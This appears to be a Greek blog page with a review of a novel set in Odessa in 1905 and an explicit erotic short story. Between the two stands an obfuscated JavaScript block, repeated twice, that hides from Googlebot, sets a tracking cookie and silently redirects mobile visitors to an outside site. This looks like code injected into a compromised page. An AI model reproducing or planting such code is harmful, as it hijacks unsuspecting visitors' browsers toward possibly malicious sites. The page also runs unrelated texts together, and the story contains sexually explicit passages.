Παρέν. Η Ελένη θα έκανε την ανατροπή μόνο αν προσέγγιζε τον έρωτά της και πριν από τον θάνατο του Θωμά (του άντρα της). Πράγμα που κάνει η Άννα Καρέννινα (σε βιβλίο που γράφηκε πολλά χρόνια πριν). Τώρα που είπα Άννα Κρένινα δεν ξέρω κατά πόσο είναι εφικτό ένας Έλληνας να περιγράψει και να ζωντανέψει μια ρώσικη πόλη -την Οδησσό -όπως γίνεται στην κλασσική λογοτεχνία της Ρωσίας . Νομίζω πως δεν πετυχαίνει να μας μεταδώσει την ατμόσφαιρα της εποχής το χρώμα της καθημερινής ζωής και η τοπογραφική αποτύπωση της Οδησσού θυμίζει περισσότερο τουριστικούς οδηγούς παρά λογοτεχνία.

Η Ελένη διατηρεί το συντηρητισμό και τους κοινωνικούς κανόνες των δύσβατων χωριών της Ηπείρου και της Δυτικής Μακεδονίας και περιμένει , περιμένει , περιμένει , να ωριμάσουν οι συνθήκες για να συναντήσει τον έρωτά της. Δεν “αποφασίζει το δικό της μακρύ δρόμο” η Ελένη όπως γράφει το οπισθόφυλλο. Η Ελένη ακολουθεί ένα δρόμο που της επιβάλλουν ο συντηρητισμός της και οι συνθήκες που τις χρησιμοποιεί για να αναπαράγει τα πρότυπα που κουβαλάει από το οικογενειακό της περιβάλλον . Δεν πηγαίνει στην Οδησσό για να ζήσει έναν μεγάλο έρωτα , αλλά για να φτιάξει οικογένεια με δομές και όρους της Ελλάδας που άφησε πίσω της.

Επίσης παραμένει κλασσικά στον περιθωριακό ρόλο της γυναίκας . Δεν συμμετέχει στις παραγωγικές διαδικασίες που φέρνουν τον πλούτο στο σπίτι. Δεν έχει τη δυνατότητα , ούτε καν να μάθει τον τρόπο που χειρίζεται τις εμπορικές υποθέσεις του ο Θωμάς , ώστε να έχει την αυτοπεποίθηση να χειριστεί την κατάσταση μόνη της αν χρειαστεί. . Όταν η γυναίκα δεν έχει πρόσβαση στις οικονομικές δομές της οικογενειακής επιχείρησης, τότε παραμένει στο ρόλο της νοικοκυράς. Λίγο πιο κομψής όπως συνηθιζόταν στις μεγαλουπόλεις της Ευρώπης τότε , αλλά κατά βάση νοικοκυρά.

Όλα αυτά τα γεγονότα που θεωρούνται ανατροπές στο στόρι , δεν είναι τίποτε περισσότερο από εκπλήξεις που χρησιμοποιεί ο κάθε συγγραφέας στα κείμενά του , για να μαγνητίζει το ενδιαφέρον του αναγνώστη του.

Τώρα στη γενικότερη αφηγηματική δομή του έργου δεν μπορώ να δεχτώ τόσο “εύκολα” να υπάρχει η δυνατότητα μια οικογένεια να συναντήσει όλα τα σημαντικά πρόσωπα της εποχής της και να παρευρεθεί σε όλα τα σημαντικά γεγονότα. Αυτό το πράγμα μου θυμίζει εκείνη την παιδική σειρά βιβλίων του ’70 με τίτλο “Ήμουν και εγώ εκεί” . Περιγράφει λοιπόν την Αίγυπτο , την Αρχαία Ελλάδα, την Βαβυλώνα, τη Ρώμη όπως θα την έβλεπε ένα σύγχρονο παιδί που βρέθηκε για λίγες ώρες εκεί.

Δεν μπορεί να είναι σοβαρό ένα βιβλίο όταν μια οικογένεια ή μια κάπως ευρύτερη παρέα συναντάει τον Τρότσκι , τον Παύλο Μελά , τον Ίωνα Δραγούμη, τον Ζαν Ζωρές , την Ρόζα Λούξεμπουργκ, τον Ελευθέριο Βενιζέλο, συμμετέχει στα δρώμενα του θωρηκτού Ποτέμκιν.

Το “Θωρηκτό Ποτέμκιν” ήταν μια ταινία για την οποία χύθηκε πολύ μελάνι. Ενδεχομένως ο τίτλος “Μέρες του 1905” που μας οδηγεί στη κορυφαία πράξη του δράματος με τον Θωμά – έναν εύπορο Έλληνα έμπορο και σύζυγο της Ελένης – να πεθαίνει στα σκαλιά της Οδησσού ………………..( Η κορυφαία στιγμή του έργου θεωρείται το τέταρτο επεισόδιο με το μακελειό στα σκαλιά της Οδησσού, που θεωρείται η καλύτερη σκηνή στην ιστορία του κινηματογράφου. Έχει ως θέμα τη βία που άσκησαν οι άνδρες της Λευκής Φρουράς του Τσάρου εναντίον του λαού. Το διασκορπισμένο και πανικόβλητο πλήθος που κατεβαίνει τρέχοντας τα σκαλιά κι αμέσως μετά οι Λευκοφρουροί, που σχεδόν μηχανικά με στρατιωτικό βηματισμό, κατεβαίνουν πυροβολώντας, παρουσιάζονται από τον Αϊζενστάιν με εναλλαγές πλάνων, που συγκρούονται και αντιπαρατίθενται με μια ρυθμική θαυμαστής ακρίβειας και αποτελεσματικότητας.

Η ταινία διάρκειας 65 λεπτών αποτελείται από πέντε επεισόδια: «Άνδρες και Σκουλήκια» (οι ναύτες διαμαρτύρονται για το χαλασμένο φαγητό), «Δράμα στο Λιμάνι» (οι ναύτες επαναστατούν), «Ένας νεκρός καλεί για Δικαιοσύνη» (ο λαός της Οδησσού κλαίει το νεκρό αρχηγό), «Τα σκαλιά της Οδησσού» (Οι στρατιώτες του Τσάρου αιματοκυλούν την Οδησσό), και «Συνάντηση με τη ναυτική μοίρα» (οι τσαρικές δυνάμεις ενώνονται με τους στασιαστές του Ποτέμκιν). Ο Αϊζενστάιν χρησιμοποίησε ερασιτέχνες ηθοποιούς για να αποδώσουν καλύτερα τους χαρακτήρες της ταινίας.)

Συνεχίζω μετά την παρένθεση που αναφέρεται στην ταινία………….τις ημέρες των γεγονότων , ενδεχομένως ο τίτλος να παραπέμπει στο φιλμ του Θ. Αγγελόπουλου : “Μέρες του ’36” με αντίστοιχο περιεχόμενο εξέγερσης εργαζομένων και θύμα -εντελώς ανατρεπτικά- έναν μη εξεγερμένο. Εμείς οι αναγνώστες δεν έχουμε ζήσει τα γεγονότα. Έχουμε δει το φιλμ του Αϊζενστάιν. Τις περασμένες δεκαετίες το φιλμ ήταν ένας ύμνος στην μετέπειτα οκτωβριανή επανάσταση. Οι σινεφίλ και οι άνθρωποι του πνεύματος αναφέρθηκαν συχνά σ’ αυτό το ανεκτίμητο δείγμα κινηματογραφικής γραφής.

Έχουμε λοιπόν έναν συγγραφέα που τοποθετεί τον ήρωά του να πεθαίνει στην αγκαλιά της Ελένης εκεί στα “σκαλιά”. Με κάποιο τρόπο ο συγγραφέας ήθελε πιεστικά το ζευγάρι να είναι στο επίκεντρο της αληθινής εξέγερσης , αλλά και για μας που έχουμε αυτήν την ανεξίτηλη εικόνα για τα γεγονότα του Ποτέμκιν από το φιλμ ,να τους δεχτούμε και ως …κινηματογραφικούς ήρωες ;;;

Ο τρόπος που προσεγγίζεται το θέμα του βιβλίου εμπεριέχει πολλά στοιχεία από την σύντομη επίσκεψη ενός πολιτικού σε ξένο κράτος και προτείνει μια “τουριστική ματιά” των γεγονότων. Υπάρχει αυτή η τουριστική εντύπωση του: “Θέλω να τα δω όλα μέσα σε λίγες ώρες ή μέσα σε λίγες μέρες.” Έτσι αυτή η “παρέα” ή το ευρύτερο οικογενειακό περιβάλλον του Θωμά συναντάει όλες αυτές τις προσωπικότητες της εποχής του και ο Θωμάς τον ίδιο τον Αϊζενστάιν. Αν η προσέγγιση ήταν χιουμοριστική , τότε μιλάμε για όντως μεγάλη πρωτοτυπία . Να όμως που στην Ελλάδα το χιούμορ είναι παρεξηγήσιμο. Το χιούμορ δεν έχει τη “σοβαρότητα” που απαιτεί ο καθωσπρεπισμός.

Έτσι αυτή η οπτική που έδωσαν οι περισσότεροι κριτικοί στο βιβλίο αποδέχεται συνήθεις ενέργειες των πρωταγωνιστών ως ανατροπές , απλή παράθεση ονομάτων και γεγονότων ως ιστορικές στιγμές και να μη ξεχάσω και το τέλος -άλλη κορυφαία χιουμοριστική σκηνή – όπου η Ελένη καταλήγει στην Αθήνα να κυκλοφορεί κοντά στα γραφεία του ΠΑΣΟΚ και να σταματάει εντελώς τυχαία μπροστά στις εκδόσεις Λιβάνη : Σόλωνος και Ιπποκράτους. (… σε ηλικία 63 χρονών)

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Έκπτωτοι άγγελοι.

Όταν έφθασα στο χωριό είχα ήδη περιπλανηθεί τόσο πολύ στην ύπαιθρο , που είχα αγριέψει, από την πείνα , το φόβο και την αϋπνία. Είχα μέρες να δω άνθρωπο και είχα την εντύπωση ότι θα δυσκολευτώ στην επικοινωνία. Πλησίασα σε ένα κιόσκι με φρούτα και ο έμπορος μου είπε καλημέρα αλλά δεν κατάφερα να ανταποδώσω τον χαιρετισμό. Απομακρύνθηκα . Άφησα να με οδηγεί η όσφρηση. Σύντομα έφθασα στο φούρνο. Μοσχοβολούσε αχνιστό φρεσκοψημένο ψωμί. Πλησίασα στο τζάμι. Κοίταξα τα καρβέλια και ξεχώρισα ένα τόσο τέλειο ψωμί ροδοκόκκινο , φουσκωμένο και με την πιο τραγανή κόρα που έχετε δει . Μέσα στο φούρνο δυο γυναίκες περίμεναν τη σειρά τους. Ο φούρναρης , ένα παλικάρι γύρο στα 25 ξεφουρνίζει με το πλατύ ξύλο κι άλλα καρβέλια. Μπήκα. Οι γυναίκες γύρισαν και άρχισαν να με περιεργάζονται ενοχλημένες. Πριν καταλάβουν τι έγινε τις έσπρωξα και άρπαξα το καρβέλι μου. Βγήκα τρέχοντας. Πέρασε λίγος χρόνος για να ακούσω πίσω μου φωνές: “Κλέφτης , κλέφτης , πιάστε τον …” Συνέχισα να τρέχω όταν άκουσα πίσω μου το γρήγορο δυνατό τρέξιμο του φούρναρη.

Ένας ξυλουργός που ερχόταν από το δρόμο μπροστά μου γύρισε ένα καδρόνι προς το μέρος μου για να μου κόψει το δρόμο. Έσκυψα για να τον αποφύγω και από ένστικτο έστρεψα το χέρι με το ψωμί μπροστά για να αμυνθώ. Τη γλίτωσα , αλλά το καδρόνι χτύπησε το ψωμί που μου γλίστρησε και έπεσε κάτω. Συνέχισα να τρέχω ανεβαίνοντας ένα ανηφορικό δρομάκι στρωμένο με γυαλισμένες πέτρες. Γύρισα να δω τον φούρναρη που δεν άκουγα πια το τρέξιμο του. Έσκυψε και μάζεψε το κλεμμένο ψωμί και λαχανιασμένος κουβέντιαζε με τον ξυλουργό. Θα μπορέσει να το πουλήσει σε κάποιον άλλον άραγε; σκέφτηκα. Συνέχισα να τρέχω και έκοψα ρυθμό όταν ήμουν σίγουρος πια ότι δεν με κυνηγάνε. Πεινούσα, πονούσα, είχα λαχανιάσει, κρύωνα, φοβόμουν.

Σταμάτησα μπροστά σε μια πόρτα παλιού αρχοντικού με ψηλό τοίχο γύρω-γύρω. Δοκίμασα να την ανοίξω και… άνοιξε. Μπήκα και έβαλα το σύρτη πίσω μου. Τουλάχιστον τώρα δεν κινδυνεύω από τους απέξω. Έκανα μερικά βήματα. Η άκρη από παλιό φόρεμα φαινόταν από μία ανοιχτή πόρτα πλυσταριού. Η καμινάδα καπνίζει. Κοίταξα το τεράστιο πέτρινο σπίτι. Βουβό. Κοίταξα το πλυσταριό. Πλησίασα. Η γυναίκα -περασμένα πενήντα- ανακατεύει με ένα ξύλο νερό στο καζάνι πάνω από τη φωτιά. Δεν μπορώ να μιλήσω. Τώρα είναι που δεν μου βγαίνει λέξη. Γυρίζει και με βλέπει να την παρακολουθώ. “Καλημέρα , ποιος καλός άνεμος σε έφερε στο σπίτι μας;” Την κοίταζα στα μάτια και ίσως να έκανα και μια κίνηση να ανοίξω το στόμα μου.

“Κρυώνεις ; Κρυώνεις , φαίνεται , δεν μπορείς να μιλήσεις από το κρύο, έλα να καθίσεις εδώ δίπλα στη φωτιά να ζεσταθείς.” Δεν κουνήθηκα και ήρθε και με πήρε , τραβώντας με μαλακά από τον αγκώνα και τον καρπό και με κάθισε δίπλα στη φωτιά. Το πλυσταριό καπνισμένο με ένα υπερφυσικό τζάκι στον τοίχο, που φιλοξενούσε το καζάνι και φαίνεται πως κάποιο ρούχο έβαφε βουτηγμένο στο μαύρο νερό.

Βγήκε και στην πόρτα στράφηκε για να μου πει: “Περίμενε εκεί να σου φέρω κάτι να φας.” Την κοίταξα να απομακρύνεται. Είχε μια χάρη στο περπάτημα και φαινόταν πως κάτω από τα χοντρά ρούχα της δουλειάς -και παρά τις σκληρές συνθήκες της υπαίθρου- υπήρχε ένα ζωηρό θηλυκό. Με απογοήτευσε φέρνοντας ένα μικρό κομμάτι παλιό ψωμί , που δεν μου το ‘δωσε αμέσως , αλλά το άφησε δίπλα στη φωτιά να πυρωθεί. Έριξε μια ματιά στο καζάνι και από το ύφος της κατάλαβα ότι έπρεπε να περιμένει ακόμη για τη βαφή και μετά μαζεύοντας λίγο τη φούστα της ήρθε και κάθισε δίπλα μου. Η περιφέρειά της με άγγιξε και για να μη απομακρυνθώ αμήχανος γύρισα και κοίταξα σε τι κατάσταση είναι το ψωμί. “Εγώ το ζύμωσα.” μου είπε “Τώρα έχω βάλει φρέσκο να ψήνεται” και έδειξε με το σαγόνι της προς την πόρτα το σημείο που βρίσκεται ο χωριάτικος φούρνος του σπιτιού. “Κάνει πολύ κρύο και σήμερα” είπε και κόλλησε περισσότερο πάνω μου. Κοίταξα τα πόδια της και ανέβηκα προς τον κορμό , το στήθος. Θεέ μου τι τεράστιο στήθος ήταν αυτό; Πως δεν το είδα τόση ώρα; Τώρα καταλαβαίνω πως ήμουν ένα πραγματικό αγρίμι που έψαχνα μόνο φαγητό και κρυψώνα. Την κοίταξα ξανά και με άφησε να την κοιτάζω περιμένοντας την επόμενη κίνησή μου. Δεν είχα άλλη γυναίκα στο μυαλό μου παρά μόνο τη Λώρα. Στα τριάντα μου δεν είχα γνωρίσει καμία άλλη , αλλά ούτε και πίστευα ότι μπορεί καμία να την αντικαταστήσει στη σκέψη μου. Νομίζω μόνο ότι σαν αίσθηση , σαν περιέργεια , ακόμα και όταν είχα τη Λώρα δίπλα μου , είχα σκεφτεί πως θα ήθελα να δοκιμάσω μία μεγαλύτερη γυναίκα. Ποτέ όμως δεν προχώρησα περισσότερο , ή τουλάχιστον δεν υπήρχε κοντά μας κάποιο πρότυπο ενδιαφέρουσας μεγάλης. Απορροφημένος από τη σκέψη της Λώρας την είδα σαν σε όνειρο να σηκώνει τη φούστα της και να μου δείχνει τα γόνατά της. Με ένα χτυποκάρδι επιθυμίας και φόβου , γύρισα προς το ψωμί και άπλωσα το χέρι να το πιάσω. Ήταν αρκετά τραγανό και μαλακό μαζί , χωρίς να δίνει αίσθηση μπαγιάτικου και το έφερα προς το στόμα. Μου έπιασε το χέρι που κρατούσα το ψωμί και με έστρεψε προς το μέρος της. Δεν ξέρω πόσο σοκαρισμένος ήμουν αλλά είδα ξαφνικά μπροστά μου γυμνό το τεράστιο στήθος της και χωρίς ανάσα στα πνευμόνια μου , βυθίστηκα μέσα του. Με άφησε να την φιλάω και να της χαϊδεύω τις ρόγες ενώ δοκίμαζε να απαλλαγεί από τη φούστα της. Όταν ήρθα εδώ πριν λίγη ώρα και την είδα για πρώτη φορά , ποτέ δεν πίστεψα ότι θα υπάρχει τόσο σφριγηλή επιδερμίδα κάτω από αυτά τα κουρέλια. Έκανα μία τελευταία απόπειρα να φέρω την εικόνα της Λώρας στο μυαλό μου αλλά δεν τα κατάφερα. Με απορρόφησε η δίνη μιας ακατανίκητης μαγνητικής έλξης.

Φαίνεται πως το περίμενε καιρό , πως το είχε σχεδιάσει και με οδηγούσε με σιγουριά να δοκιμάσω γλυκούς χυμούς και απαγορευμένους καρπούς, μυστικές πτυχές και γαργαλιστικά σημεία που τα κυρίευε το ρίγος . Με καυτή τρεμάμενη ανάσα ηδονής τελείωσα και δεύτερη φορά στο κορμί της και νομίζω πως εκείνη η παλιά, η ξεχασμένη επιθυμία να δοκιμάσω μια μεγαλύτερη γυναίκα ήταν … πως να το πω τώρα , μου έβγαινε με κάποια φυσικότητα και όχι με ένα αίσθημα προδοσίας στη Λώρα.

Σηκώθηκε να κοιτάξει το καζάνι της όταν ακούστηκε μια φωνή απ΄ έξω ,από το σπίτι. “Μαριλένα , Μαριλένα…” “Είναι η νύφη μου…” είπε, “πες της να κοιτάξει εκείνη το ψωμί” Πήγα προς το σπίτι με το κεφάλι μου γεμάτο ερωτηματικά , πως θα αντιδράσει η νύφη της μπροστά σε ένα ξένο άντρα , με εμφάνιση αγριμιού; Μπήκα στο σπίτι από την ανοιχτή πόρτα. Ψηλοτάβανο αρχοντικό πολύ περιποιημένο , με κρυστάλλινο κεντρικό πολυέλαιο, με γυαλισμένα πατώματα , με ξύλινη σκάλα στρωμένη με στενή μοκέτα στα χρώματα του μπεζ , να πηγαίνει στον πάνω όροφο. Μεγάλα παράθυρα λουσμένα στο φως και ένα μαρμάρινο τζάκι που μόνο διακοσμητικό δεν ήταν. Η ζεστή ατμόσφαιρα με χαλάρωσε και μόλις βρέθηκε μπροστά μου η νύφη της δεν κατάφερα να πω καλημέρα η κάτι άλλο τυπικό και φώναξα αγχωμένα “Το ψωμί , το ψωμί να το προσέξετε εσείς”

“ Εγώ ;” ρώτησε με κάποια ειρωνεία στη φωνή της προφανώς λόγω του ψαρωμένου ύφους μου , που παρά την οικειότητα με τη Μαριλένα δεν έλεγε να με απαλλάξει από την κυριαρχία του. “Ναι εσείς” είπα με την αφέλεια που κουβαλάω σε απίστευτες ποσότητες τον τελευταίο καιρό. “Κάθισε , αν θέλεις” μου είπε πριν τρέξει προς το φούρνο. Μου έδειξε ένα μαλακό καναπέ και χωρίς να σκεφτώ κάτι άλλο προχώρησα και -ήταν τόσο μαλακός που- βούλιαξα μέχρι το πάτωμα. Έκανα να σηκωθώ από ένα αίσθημα ντροπής που με πλημμύρισε από αυτήν την ξαφνική πτώση αλλά ένοιωσα πολύ αδύναμα τα πόδια μου. Τότε ήρθε ξανά στο μυαλό μου η Λώρα. Λυπημένη και απογοητευμένη από όλα αυτά που μας συνέβαιναν τον τελευταίο καιρό.

Η φωτιά στο μαρμάρινο τζάκι έγλυφε ένα ογκώδες κούτσουρο δίνοντας μια γλυκιά αίσθηση ζεστασιάς και θαλπωρής , ειδικά σε ένα αγρίμι σαν εμένα , που δεν έχω υπολογίσει ακόμη , πόσες μέρες περιπλανήθηκα στην ύπαιθρο. Ήθελα να υπολογίσω πως θα μπορούσαν δύο γυναίκες να το κουβαλήσουν μέσα στο σπίτι. Απορροφήθηκα κοιτάζοντας τις φλόγες όταν αισθάνθηκα δίπλα μου την παρουσία της γυναίκας και στράφηκα ξαφνιασμένος για να δω ένα χαμογελαστό πρόσωπο να μου γνέφει και σκύβοντας πάνω μου να μου αποκαλύπτει μια άλλη εκδοχή αναπτυγμένου στήθους .

Κοίταξα πεινασμένος τα χέρια της μήπως κρατάνε λίγο από το φρέσκο ψωμί και απογοητευμένος έσκυψα το κεφάλι μη πιστεύοντας ότι η πείνα θα με έκανε τόσο χάλια ψυχολογικά. Σήκωσα το βλέμμα μου νιώθοντας πολύ κοντά το άρωμα της και τη ζεστή της ανάσα και τότε εκείνη έχοντας πλησιάσει υπερβολικά με φίλησε στο στόμα και κάθισε στην αγκαλιά μου.

Η Λώρα πλημμύρισε το μυαλό μου και δεν εννοούσε να φύγει από κει. Η γυναίκα άρχισε να με ξεκουμπώνει και χωρίς να το καταλάβω τη φίλησα. Αυτό την ενθουσίασε και έβγαζε τα ρούχα της χωρίς να ξεκολλάει από πάνω μου. Τη χάιδευα μηχανικά . Έπρεπε να ανοίξω τα μάτια μου γιατί η Λώρα δεν εννοούσε να φύγει. Έκανα ένα κλικ στην πρώτη σκάλα των βλεφάρων μου και είδα δύο ρώγες να μου γνέφουν -σαν φιλικό βλέμμα – καταφατικά. Άνοιξα λίγο περισσότερο και τότε είδα τη σκούρα ροδέλα γύρω από τις ρόγες της να με πλησιάζει και να καταλήγει στο στόμα μου σαν γλυκιά σοκολάτα πάνω σε ντόνατς. Δεν ξέρω τι πειράματα έχουν γίνει σε στρατόπεδα συγκεντρώσεως και σε σκοτεινά εργαστήρια για την ανθρώπινη αντοχή . Ξέρω μόνο πως τα κατάφερα ξανά και για πολύ ώρα μπόρεσα να κρατηθώ και να γεμίσω χαρά αυτό το δυνατό πλάσμα που δονείται στην αγκαλιά μου. Όταν τελείωσα η Λώρα με πλημμύρισε με το δέρμα της . Έπεσα ξανά στο λήθαργο της και την απάθεια της επίδρασής της πάνω μου.

